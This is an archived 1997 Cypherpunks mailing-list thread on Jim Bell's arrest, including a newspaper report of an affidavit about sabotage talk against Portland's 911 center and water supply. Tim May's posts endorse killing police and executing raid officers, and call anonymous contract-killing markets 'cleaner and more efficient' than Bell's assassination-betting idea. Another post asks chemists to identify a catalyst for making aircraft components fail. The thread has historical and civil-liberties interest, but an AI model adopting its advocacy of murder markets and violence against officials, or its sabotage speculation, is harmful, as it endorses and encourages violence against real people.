(Not to mention the vastly more important argument to use: First Amendment
protection of speech. Conspiracy and RICO charges are hardly valid when
only speech is involved...I'm not a lawyer, but I believe there has to be a
realistic expectation that a crime is being planned to be carried out, with
some reasonable chance of being completed, before a "conspiracy" can be
charged. A few friends sitting around brainstorming about threats,
counterthreats, and possible attacks does not a conspiracy make.)


>   Daly also told IRS agents that he had hypothetical discussions with
>   Bell about contaminating water supplies and about making botulism
>   toxin from green beans, the affidavit said.

And?


>   In the April 17 and 18 interviews with IRS agents, Daly said that as part
>   of his job, he "has keys and direct access to the Portland Bull Run
>   water treatment facility."

And? (I can see scared officials firing Daly, unless he is protected by
other interventionist laws.)


>   Daly said Monday that the conversations that he and Bell had were
>   merely "intellectual fun-and-games discussions" between old friends
>   who enjoy technical things.
>
>   "There's a difference between reasonable freedom of speech and
>   unreasonable probability of attack," Daly said. "Standing around and
>   flapping our lips about how it would be funny is way different from
>   even contemplating actual attack."

Exactly. Seems some folks don't understand the First Amendment...this seems
to be endemic in America today, especially amongst public officials.


>   Thursday, IRS agents searched the home of Robert East, a merchant
>   radioman and a friend of Bell's. Among items seized was 3-foot length
>   of carbon fiber.

Gee, could this carbon fiber be involved in his radio work? Gee.

("The BATF who raided Tim May's compound reported finding suspicious books
describing biological warfare and a gas cylinder which could be used to
spread Sarin gas in an attack on the Bay Area Rapid Transit. Agents found a
message on his computer, dated May 20th, 1997, in which Sarin and BART were
mentioned.")



>   The affidavit said East told agents that he and Bell had discussed "the
>   possibility of putting the fibers down the air vents of a federal building"
>   to kill its computers and about using the fiber against the IRS.

Sounds exactly like the sort of "what-if" theorizing that all technical
people (and novelists, screenwriters, etc.) like to do. Also the staple of
the "Infowar" mailing lists, not to mention "rec.pyrotechnics" sorts of
newsgroups.

I rather doubt dropping a carbon fiber down an airshaft would do anything
to the computers, but, hey, it's a theory.

(I also don't see what disrupting a 911 computer for a few hours or days
would mean for any of Bell's assumed longterm goals, so I surmise that he
was indeed just playing with some "techie" ideas. And one can imagine the
911 folks thanking, or even paying, him for analyzing potential weaknesss
in their security. But I guess, as with Randall Schwartz, killing the
messenger remains the favored course of action.)


Free speech is under massive assalt in the Terror State of America.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jyri Kaljundi <jk@stallion.ee>
Date: Tue, 20 May 1997 17:06:44 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.32.19970519101346.00714fe0@netcom13.netcom.com>
Message-ID: <Pine.GSO.3.95.970520114056.20181A-100000@nebula>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 19 May 1997, Lucky Green wrote:

> I stand corrected. The essay was found in the car. However, after the essay
> was  found the agent searched the Internet for copies of the essay and
> posts by Jim Bell discussing it. The agent's original affidavit states the
> number of AP related post by Jim the fed could find via a search engine.

So how useful are things like e-mail messages and newsgroup postings in
court? Can e-mail really be used as court evidence and has it actually
been used in any cases? It might probably differ in different coutries and
states, but there must be some generl opinion about this. Is it may be up
to the police / court to decide if a message is really written by someone
who's name is under there. You can easily forge e-mail, mail headers and
mail logs. 

Jüri





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Wed, 21 May 1997 04:00:25 +0800
To: jya@pipeline.com
Subject: Re: Jim Bell 2
In-Reply-To: <1.5.4.32.19970520173416.008a2f4c@pop.pipeline.com>
Message-ID: <199705201930.MAA17981@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young writes:

Thanks for posting this.
 
>    The Oregonian, May 20, 1997, Metro Section P-1:
> 
>    IRS says suspect discussed sabotage
> 
>       An affidavit says a Vancouver man arrested Friday talked of
>       sabotaging Portland's 9-1-1 computer and Bull Run water
> 
>    By John Painter, Jr., of the Oregonian staff
> 
>    Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
>    Revenue agents discussed sabotaging the computers in Portland's
>    9-1-1 center and talked about using a botulism toxin to contaminate 
>    the Bull Run water supply, a federal agent said Monday.
> 
>    James Dalton Bell, 38, appeared Monday afternoon in U.S. District
>    Court in Tacoma and was accused in an 18-page affidavit of scheming
>    to overthrow the U.S. government.


The _IRS_ can arrest people for 'scheming to overthrow the U.S. government' !?

I thought that was the FBIs job.  I'm sure they'd have wanted to be
in on it if he was as big a terrorist as they're making him out to be.
Maybe the FBI that the bulk of the charges are bogus and wanted nothing to
do with them, but the IRS went ahead anyhow to harass him and to
justify their earlier search.  Food for thought and grounds for
further research...



-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Wed, 21 May 1997 03:50:32 +0800
To: cypherpunks@cyberpass.net
Subject: For Whom the Bell Tolls
Message-ID: <199705201934.MAA27619@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The current troubles for Jim Bell, and the representation in
government affidavits that casual speculation with friends over
infrastructure vulnerabilities constituted some sort of
conspiracy to do harm, should make all Cypherpunks nervous.

Indeed, such discussions about vulnerabilities and risks have
been a central theme of this mailing list over the years.  I hope
I don't wake up tomorrow morning to headlines in the Seattle
Times reading "Atomic Force Microscope Central in Duvos Smartcard
Plot" or some equally silly thing, based on an out-of-context
grep of the Web archives.

It is unfortunate that in a country which advertises itself as
some sort of bastion of free speech, one must constantly guard
ones speech to make sure that it contains no snippets suitable
for an inflammatory sound byte on the evening news.

Just another of the many manifestations of "The Policeman
Inside."

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Wed, 21 May 1997 03:59:53 +0800
To: cypherpunks@cyberpass.net
Subject: Metal Virus
Message-ID: <199705201937.MAA27992@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


With all this talk of germ warfare and carbon fiber attacks, I
started thinking of another useful technology which made its
appearance a number of years ago, and promptly vanished from
sight.

Not so long ago, some university scientists invented a catalyst
which, even in microscopic amounts, would prevent formation of
the contiguous oxide film which protects metals from rapidly
reacting with the oxygen in the air.

They called a press conference to demonstrate their new
invention, which was carried on CNN, and after placing one drop
of their magic solution on a metal plate, held it in front of the
cameras as white power erupted from various points on its surface
and it promptly crumbled to pieces.

Now I found this quite an interesting demonstration, and much to
my non-surprise, this invention was never mentioned in the media
again.

A few years later, in an article for Omni Magazine on
scientifically advanced technologies for knocking out critical
infrastructure, G. Gordon Liddy made mention of a "Classified
Liquid Metal Embrittlement Technology," in which a liquid
catalyst could be concealed in a object like a magic marker, and
applied in small amounts to structurally significant components
of aircraft, which would later undergo catastrophic structural
failure in fight.

This sounded to me a whole lot like the stuff the scientists had
shown on CNN in the press conference.

Anyone remember this?  Would any chemists in the audience care to
hazard a guess as to the chemical composition of said catalyst
and the mechanism of its interaction with the target to be
destroyed?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 04:20:28 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: SIC SEMPER TYRANNIS
In-Reply-To: <v03007801afa63556053c@[207.167.93.63]>
Message-ID: <v03007800afa7b7bc7809@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:16 AM -0800 5/20/97, Paul Bradley wrote:

>People forget quickly. I honestly believe that today people not only do
>not realise what is happening in the world around them, they really do
>not care. Most people I know are content just to make a buck and get on
>with it, without giving a thought to the rights they lose every day.

Indeed, but the great bulk of people ("the masses") have almost never
cared. They are going about their daily lives, trying to earn a living, and
so on. That the distant government is suppressing others is usually of
little concern to them. Nearly all revolutions are initiated and led by
elites...I see no reason to expect this to different in "Techno-Revolution."

Also, the "boiling a frog slowly" metaphor comes to mind...most people have
little idea how the vise has tightened. And in the case of "gun rights,"
most Americans are apparently of the opinion that their lives will be safer
if all guns are banned.

(Which may be true, if _all_ guns were banned. Speaking hypothetically. And
not necessarily proven (knives are notoriously effective, too, so it's not
at all clear that violent deaths would diminish much.) But not all guns
could ever be banned, and criminals would then have a major advantage of
the defenseless. And cops would still have guns. And former KGB killers now
in the Witness Security Program would probably still have guns. And so on.
And there's the little matter of reimbursing folks like me for the value of
our guns, our reloading supplies, our gun magazines and books, and our
"invested time." In other words, they want to take my guns, acquired
legally, they'd better be prepared to remimburse me what I think all this
stuff is worth (which they won't), and guarantee that criminals won't have
guns (which they can't). This is all separate from the clear language of
the Second, of course. "When only cops have guns, how do you kill the cops
who need killing?" (As some surely do, as the various cases of justifiable
self-defense against cops, rogue or otherwise, make clear.)


>I`m sure that public opinion in the UK is more this way than it is in
>the US, I may be wrong, however, the fact that I was told by a member
>of my immediate family a few days ago "You should be put in a lunatic
>asylum" because of my political views does not leave me with a good
>feeling about the general state of the population at large, still, it
>does leave me with a good feeling when people tell me "you are a danger
>to society" as they do not realise the compliment they are giving me!
>I truly wish I was of strong enough stuff to constitute a real danger...
>I can honestly say that most people I speak with on a day to day basis
>would brand me a loon if they ever got into a proper political discussion
>with me. This is, of course, a sad state of affairs.

I don't know how it is the UK, but in the US it's fairly easy to have
someone committed "for psychiatric evaluation" (observation). A Santa Cruz
County Sherriff's Deputy told me once on the phone that my opinions could
indicate that I was of unstable mind...his clear hint to me was that he
could have me committed for a 48-hour stay in one of the local psychiatric
prisons^H^H^H^H^H^H hospitals. Why would he do this? Well, in California
one loses all rights to own guns for some period of time after such a
pyschiatric commitment, regardless of the final determination. (I don't
have a URL handy on this, but it's widely discussed in the guns rights
groups.)

Ditto for folks who have had restraining orders placed against them in
certain kinds of abuse cases...even if no determination of final guilt
and/or longterm threat was ever made. There are numerous cases where a
vengeful ex-wife charged she had been abused (maybe yes, maybe no) and a
court granted a restraining order against the husband. Poof, he loses his
guns and the right to buy any new ones for some number of years (15?).

(I'm a believer that basic constitutional rights should not be taken away,
even for convicted criminals, except insofar as the actual punishment
requires. Thus, an imprisoned man loses his rights to move freely, of
course, and perhaps rights related to this (gun ownership, obviously!). But
once released, he should not lose his voting rights (which happens to
convicted felons), gun ownership rights (ditto, for most felonies, as I
recall), and so on. What would we think if a released prisoner lost his
First Amendment rights? Or his Fourth, or Fifth? Etc.  (Don't laugh, many
of these rights are already lost. Some in the process of parole, some even
after parole ends.)

By the way, one of the advantages of the huge number of things which are
now felonies gives to the authorities is the ability to pile on a
horrendous number of charges, some of which may "stick." This gives
prosecutors bargaining power for pleas, so that they can get convictions
without length trials.

In the case of Bell, I suspect they'll hit him with so many charges that
he'll be cowed into making a deal. He'll probably do no jail time, beyond
his current and ongoing stay, but will have one or more felony convictions
on his record. He can then say goodbye to any guns he may have acquired
legally, and will lose his voting rights (not that he or they care about
this, I'm sure). He'll also be a more malleable citizen-unit, as subsequent
convictions woudl be dealt with more harshly. (California's "three strikes"
law is especially pernicious.)

(I'm not critiquing Bell here, just speculating on the likely outcome of
the case.)

>
>> >The feds may not be aware that the discussions on this list are usually of
>> >a theoretical nature. Perhaps they decided to go after the
>> >"co-conspirators". Like the anarchists in California with their AR-15's who
>> >have so many mags that they can't even  remember where they all are. :-)
>
>Hmm, I don`t think this is really relevant though, it makes no difference
>whether the discussions are theoretical or practical, they are still
>valid discussions.

I agree with this point. Lucky was wrong to imply there's a difference in
speech rights between "theoretical" and other forms of speech. A crime is a
crime, of course, but talking about desirable courses of action, political
outcomes, and so on is of course protected speech.

(Discussions which are actual criminal conspiracies is a touchy issue, and
is a marginal area of the law, as near as I can tell. But essentially all
discussions are protected unless strong evidence is presented that a crime
is being plotted, and even then the speech is usually protected. Discussing
tax evasion strategies, for example, has not been successfully prosecuted
(per se), in any cases I am familiar with. And as Duncan noted, even
sedition is hard to prove.)

>
>> I've since found a dozen or so of these clips. Circumstances have motivated
>> me to look through some of my packed boxes.
>
>I could not begin to aspire to your collection of rifles and other
>defensive weapons Tim, but I too have been placing keys to my gun cabinet
>and shells in convenient places for quick access at one of those "4am
>black clad ninja just burst through my front door" moments.

It's a sad state of affairs when the police increasingly resort to the 4
a.m. Nomex-hooded, no-warnings-issued SWAT-type raids. Readers may recall
the many stories of innocents killed when they were shocked out of deep
slumber by "flash-bangs" thrown into their bedrooms and the sudden
appearance of black-clad ninja raiders.

Notable example:  the Malibu doctor suspected--wrongly, it turns out--of
growing pot on his ranch. He and his wife were startled by the ninjas
bursting into their bedroom. The doctor reached for a handgun in his
nightstand and was sprayed with 9mms from the Heckler and Kock MP-5s of the
raiders. The estate of the doctor is currently suing the LA County
Sheriff's Department and other agencies, but you know how those things go.
I know I shock a lot of people by saying this, but I think those involved
in the raid should be tried on murder charges and, if found guilty,
executed promptly. And if the court system won't do this, which it
obviously won't, then the alternative is <CENSORED CENSORED CENSORED
CENSORED>.

(The Malibu case has been discussed extensively. See
http://www.calyx.com/~olsen/NORML/WEEKLY/95-07-18.html for one pointer. As
this article notes: "Moreover, the prospect of being able to seize valuable
property under civil forfeiture has created an incentive to seek out
marijuana cultivation.  This is believed to have been the reason for the
1992 raid on multimillionaire Donald Scott's estate near Malibu that
resulted in his being killed by police.  No marijuana was found. ")


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 04:37:50 +0800
To: cypherpunks@algebra.com
Subject: Radiation Therapy to Cure the Cancer
In-Reply-To: <1.5.4.32.19970520173416.008a2f4c@pop.pipeline.com>
Message-ID: <v03007801afa7c2bd0de1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:30 AM -0800 5/20/97, Eric Murray wrote:

>The _IRS_ can arrest people for 'scheming to overthrow the U.S. government' !?
>
>I thought that was the FBIs job.  I'm sure they'd have wanted to be
>in on it if he was as big a terrorist as they're making him out to be.
>Maybe the FBI that the bulk of the charges are bogus and wanted nothing to
>do with them, but the IRS went ahead anyhow to harass him and to
>justify their earlier search.  Food for thought and grounds for
>further research...

Maybe now Eric you'll understand why I'm so angry. Maybe you'll even stop
complaining that the list is not talking about pseudoelliptic primes and
other such techno-crippie jive and is instead talking about using strong
crypto as the weapon of destruction is most assuredly is.

(I was there at the very beginning of Cypherpunks and can assure you that
it was _NOT_ created in a political or policy vacuum as just some other
forum for sci.crypt discussions, despite what some have claimed. It was
about the use of strong crypto, anonymous payment systems, data havens,
remailers, and other such Cypherpunkish tools to ensure personal liberty,
freedom from mob rule, avoidance of taxation, liberation from moral
do-gooders, undermining of democracies run amok, and destruction of fascist
and statist infrastructures.)

I saw your comment yesterday about how "You used to be someone whos
postings I read and words I listened to, because you seemed to make sense.
However the last few months you have been talking of little except
way-illegal actions, armed resistance, etc. which IMHO is not yet called
for and which is not shared by the majority of the list."

I've never claimed my views are "shared by the majority of the list"
(though they might be, at the core). I write what I want to write, not what
I think the "shared" views of the list are. You are, of course, free to
write your own stuff, or leave the list, or whatever.

If, as you claim, I am perceived by some (who?) as the "leader of the
Cypherpunks," perhaps this has something to do with the precise points I
have been making for the past several years. (Hint: take a look at what's
been in my .sig for so many years and notice how closely it matches the
things you claim do not represent the shared values of the list, whatever
you think those might be.)

As to why I don't write "reasonable" essays as much anymore...I wrote
"reasonable" essays, many hundreds of them, for several years. (Though if
you read the 1992-94 archives you'll find plenty of angry articles from me
and from many others.)

The vise is tightening. A dozen or more repressive pieces of legislation
are working their way through a compliant Congress, with a
get-along-by-going-along cadre of "cyber rights" organizations helping to
"work the system."

The US government is freaking out. Freaking out and lashing out. And the
courts are no longer willing or able to rein in the excesses. The cancer
that is Washington has metastasized throughout the body. Only radical
therapy--radiation therapy? :-} --will work now.

The time for "reasonable" essays has long passed. They only understand
stronger measures.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 21 May 1997 01:47:20 +0800
To: cypherpunks@algebra.com
Subject: PGP version 5 source code?
Message-ID: <199705201733.NAA22390@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Will PGP Inc make the source code for the new version of pgp 
available?












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 21 May 1997 01:58:07 +0800
To: cypherpunks@toad.com
Subject: Jim Bell 2
Message-ID: <1.5.4.32.19970520173416.008a2f4c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


   The Oregonian, May 20, 1997, Metro Section P-1:

   IRS says suspect discussed sabotage

      An affidavit says a Vancouver man arrested Friday talked of
      sabotaging Portland's 9-1-1 computer and Bull Run water

   By John Painter, Jr., of the Oregonian staff

   Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
   Revenue agents discussed sabotaging the computers in Portland's
   9-1-1 center and talked about using a botulism toxin to contaminate 
   the Bull Run water supply, a federal agent said Monday.

   James Dalton Bell, 38, appeared Monday afternoon in U.S. District
   Court in Tacoma and was accused in an 18-page affidavit of scheming
   to overthrow the U.S. government.

   U.S. Magistrate J. Kelly Arnold set Friday for a detention and
   preliminary hearing. The government has asked that Bell be held
   without bail because he is a danger to the community.

   Bell, who describes himself as a libertarian, has a history of tax
   disputes with the IRS, which says Bell "has a large, outstanding unpaid
   balance."

   Bell is the author of "Assassination Politics," a 10-part essay about a
   risk-free way of rewarding assassins who successfully kill designated
   public officials. The essay has circulated on the Internet.

   The strategy, which Bell says he wrote and posted for discussion,
   involves uses of encryption to predict and confirm assassinations and
   electronic digital cash to pay for the killings.

   Federal agents raided Bell's Vancouver home April 1.

   He is accused of obstructing government officers and employees and
   using false Social Security numbers. But government agents think he
   is far more dangerous than the charges suggest, the affidavit filed by
   IRS Inspector Phillip G. Scott said.

   Scott's affidavit said Bell, who has a chemistry degree from the
   Massaschusetts Institute of Technology, had discussions about using
   carbon fiber particles to attack computer systems with Greg Daly, a
   friend who is an electronics specialist overseeing Portland's 9-1-1
   communications center.

   "Daly stated that he and Bell had 'laughed' about attacking the 9-1-1
   center with fiber," the affidavit said.

   Daly also told IRS agents that he had hypothetical discussions with
   Bell about contaminating water supplies and about making botulism
   toxin from green beans, the affidavit said.

   In the April 17 and 18 interviews with IRS agents, Daly said that as part
   of his job, he "has keys and direct access to the Portland Bull Run
   water treatment facility."

   Daly said Monday that the conversations that he and Bell had were
   merely "intellectual fun-and-games discussions" between old friends
   who enjoy technical things.

   "There's a difference between reasonable freedom of speech and
   unreasonable probability of attack," Daly said. "Standing around and
   flapping our lips about how it would be funny is way different from
   even contemplating actual attack."

   Daly described his friend of 15 years as a "bit of an odd unit" but never
   dangerous and never serious about attacking the 9-1-1 systems or the
   Bull Run watershed.

   "I'd rat him out in a heartbeat for that," Daly said.

   Thursday, IRS agents searched the home of Robert East, a merchant
   radioman and a friend of Bell's. Among items seized was 3-foot length
   of carbon fiber.

   The affidavit said East told agents that he and Bell had discussed "the
   possibility of putting the fibers down the air vents of a federal building"
   to kill its computers and about using the fiber against the IRS.

   However, Bell has described himself as a "man of ideas, not action,"
   and East said Bell was a "talker, not a doer."

   [End]

   Thanks to John Painter.











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 21 May 1997 05:08:35 +0800
To: cypherpunks@toad.com
Subject: Re: OTP
Message-ID: <199705202043.NAA19503@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 15 May 1997 00:23:51 -0600 (MDT)
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Cc: cypherpunks@toad.com
Subject: Re: OTP
Sender: owner-cypherpunks@cyberpass.net
Reply-To: Graham-John Bullers <real@freenet.edmonton.ab.ca>

On Wed, 14 May 1997, lucifer Anonymous Remailer wrote:


I think Vulis needs each of us to send ten copies of this back to
him.

> Timmy May's reheated, refurbished, and regurgitated cud is completely 
> inappropriate for the mailing lists into which it is cross-ruminated.
> 
>            \|/
>         /~~~~~~~\
>        |  O   O  |
>    -ooo-----U-----ooo- Graham-John Bullers
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 05:26:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The USA is the world's biggest terrorist state
In-Reply-To: <199705201930.MAA05329@you.got.net>
Message-ID: <v03007802afa7c77529a3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:47 AM -0800 5/20/97, Peter Trei wrote:

>What I posted was an idea for a POLL, nothing more. There was no
>suggestion that of any kind of action or incentive - no advocacy
>of murder, no anonymous cash, no payoffs, nothing. This is NOT
>'implementing a variant of assassination politics', and I take
>strong exception to your implication that I would support such
>a thing.

All Bell ever proposed was a kind of POLL. A series of bets. There is very
little distinction. In fact, were a POLL to be used as the scoreboarding
mechanism, any number of clever derivatives of the same poll could be used
to implement AP.

(To flesh this out, imagine Caesar's Palace in Las Vegas posting the poll
the way they post racing results...others could then take bets on who would
appear on the poll. If "Janet Vegas" led the poll of "Living Persons
Desired to be Dead," and I knew approximately when Janet Vegas were to
die--similarities with AP intentional--then I could make a fair amount by
betting that Janet Vegas would soon disappear from that list of "Living
Persons Desired to be Dead" poll.

My point was not that you were supporting the kiling of anyone, Peter, but
that your playing around with a variant--and I maintain that this is what
your POLL is--of Bell's variant is essentially just what Bell was doing.

(I happen to think it's a lot cleaner and more efficient to have primary
market, using untraceable contact and payment systems to contract for
murders, and that Bell's AP was clumsy and inefficient and would probably
have outcomes far from what he speculated might be the outcome.)


>
>I really hate it when you misread, misconstrue, and misquote
>other people. You really seem to have a very tenuous love of truth
>and accuracy when falsehood will serve your purpose better (if
>you think that sounds like the tactics of a certain large
>organization you dislike, you're right.)

As I said, I wasn't claiming you supported AP or killings in general. I was
noting that your playing with related ideas, which surely you must admit
bear several similarities to AP, is just what Bell was doing.


>Let's take just one paragraph from your latest screed. Can you back
>up all or even most of the points in it? I don't think so. You wrote:
>
>>The United States of America is the world's leading terrorist state.
>
>Matter of opinion. I suspect that Libya, Iraq, and Iran are better
>candidates. If you include internal terrorism, add China, North
>Korea, and many others ahead of the US.

As you say, a matter of opinon. Next point.

>
>>From mining harbors in countries with democratically elected
>>governments...
>
>I've got only a quibble with this one. We did mine Managua, ie one
>harbor in one country. While this was clearly unacceptable behaviour,
>it does demonstrate your tendency to play fast and loose with
>numbers.

It seems you agree with me on this. Next point.


>>...to financing the blowing up of airliners by dissident
>>groups
>
>Really? Which ones? Be specific. Which airlines, which flights?
>What were the circumstances in each case? You're using plurals
>again, so you'd better have multiple instances.

Cuban Airlines, for example, by CIA-funded Cuban guerillas. Cf. the URL
http://www.cubaweb.cu/noticias/violence.html, one of many describing the
details.

"The U.S. government has taken almost no action against Cuban
emigree terrorists who operate freely from U.S. territory, despite
the fact that that country pretends to condemn terrorism around
the world. Further, when Cuban defectors have hijacked planes
and boats and/or killed people in the process, U.S. has refused to
return them to Cuba for prosecution and, in fact, have released
them with at most a gentle verbal slap.

"The most awful terrorist action occurred on October 6, 1976, when a bomb
planted aboard a "Cubana Airlines" plane exploted after the passenger jet
took off from Barbados, killing all 73 people aboard -57 Cubans (including
the entire fencing team), 11 Guyanese and 5 North Koreans."

The CIA also engineered the bomb timers Terpil and Wilson, either CIA
agents or CIA renegades, or both (you decide), used in several airliner
destructions. (Why was the CIA building altitude-sensing bomb fuzes which
could be disguised in radios? Only one guess allowed.)

(It's also been reported that Abu Abbas has worked for the Agency, and that
much of the Bekaa Valley/Syrian/Lebanese drug trade is connected with these
areas. No time to write about it here, but do searches on BCCI, Abbas,
Castle Bank, Terpil, Wilson, Bekaa, etc.)


>>...to assassinating dozens of leaders of countries the USA wished
>>to shape in different directions, the USA is Terror State Numero Uno.
>
>Dozens? As in 12+? Again, which ones? When? Any since the (Carter?)
>exec order forbidding attacks against heads of state?

It would take too long to find all the URLs and supporting evidence for a
precise count, but here are some of the _countries_ and leaders in which
the U.S. has been fairly convincingly linked to the killings:

* Iran/Mossadegh
* Algeria/Ben Bella
* Congo/Lamumba (and the guy who came before or after)
* Viet Nam, Diem, and other regional leaders
* Cuba, several attempts on Castro, well-documented (they got Che Guevara)
* Chile, Allende
* several other smaller African nations, whose leaders were assassinated in
what are believed to be CIA and DIA actions (or where CIA, etc. provided
support)

As to Carter's order, so? Do we know, or even have reason to believe, that
Reagan, Bush, and even Clinton have not had government officials of even
heads of state in other countries whacked?

(Noriega claims, fairly convincingly, that he holed up in the Catholic
hospital (or church, whatever) because he understood the desire of the U.S.
was to kill him and not have to have a very public trial in the U.S. This
is not a proved claim, but the "smoking gun" on these sorts of things is
rarely found. Many analysts have stated that avoiding taking Noriega alive
was a goal of "Operation Just Cause.")



>Tim, can you back up your words with facts, or are your recent
>posts "... full of sound and fury, signifying nothing."?

Well, it seems we agreed the first "claim" was a matter of opinion, the
second one was as I stated it, the third one was evidenced by the Cuban
airliner blown up by CIA-funded terrorists (excuse me, "freedom fighters"),
and possibly other examples in the Mideast. Which leaves the last point,
about assassinations of foreign leaders.

Counting all the killings of leaders, I believe the body count for
U.S.-sponsored or -encouraged killings will exceed a dozen. Maybe a couple
of dozen over the past several decades.

In any case, if you want me to taken the "s" out of "dozens," as I cannot
document 24 such kilings, I will be happy to.

(Here's one analysis, of many, of the Lamumba situation: "CHARLAYNE
HUNTER-GAULT: Le Mumba, the first democratically elected leader in all of
Africa, was aligned with the Soviet Union, and in the post-independent
chaos was murdered, if not with CIA help, many believed with CIA blessing.
Urquhart argues that the politics of the Cold War severely retarded Zaire's
political development.

"SIR BRIAN URQUHART: These were proxy Cold War battles, and, of course, the
Congo, now Zaire, originally got into trouble on an East-West split because
the West of the United States backed President Kazabubu and the East and
Soviet Union backed the prime minister, who was Patrice LaMumba."

Add to this list the others I mentioned. I'd say it's fine tribute to a
democartic people's republic like the USA.


>There are sufficient *real* problems with US policy that
>your exaggerations are counter-productive.
>

I stand by what I wrote.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 05:44:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: For Whom the Bell Tolls
In-Reply-To: <199705201934.MAA27619@netcom4.netcom.com>
Message-ID: <v03007803afa7d26abcae@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:34 AM -0800 5/20/97, Mike Duvos wrote:

>It is unfortunate that in a country which advertises itself as
>some sort of bastion of free speech, one must constantly guard
>ones speech to make sure that it contains no snippets suitable
>for an inflammatory sound byte on the evening news.
>
>Just another of the many manifestations of "The Policeman
>Inside."

No totalitarian state can police all of the citizen-units, so they rely
heavily on fear. And on informants, and "capos." And on DARE-like narc
programs.

(D.A.R.E. stands for "Drug Abuse Resistance Education," a program in many
U.S. public schools which is essentially mandatory. My sister's husband
tried to get his son excused from the 6-week program and was told by the
school, in Long Beach, CA, that while it was not _required_, it was
strongly advised and that his son would have to sit alone in the
principal's office while the other student-units were undergoing
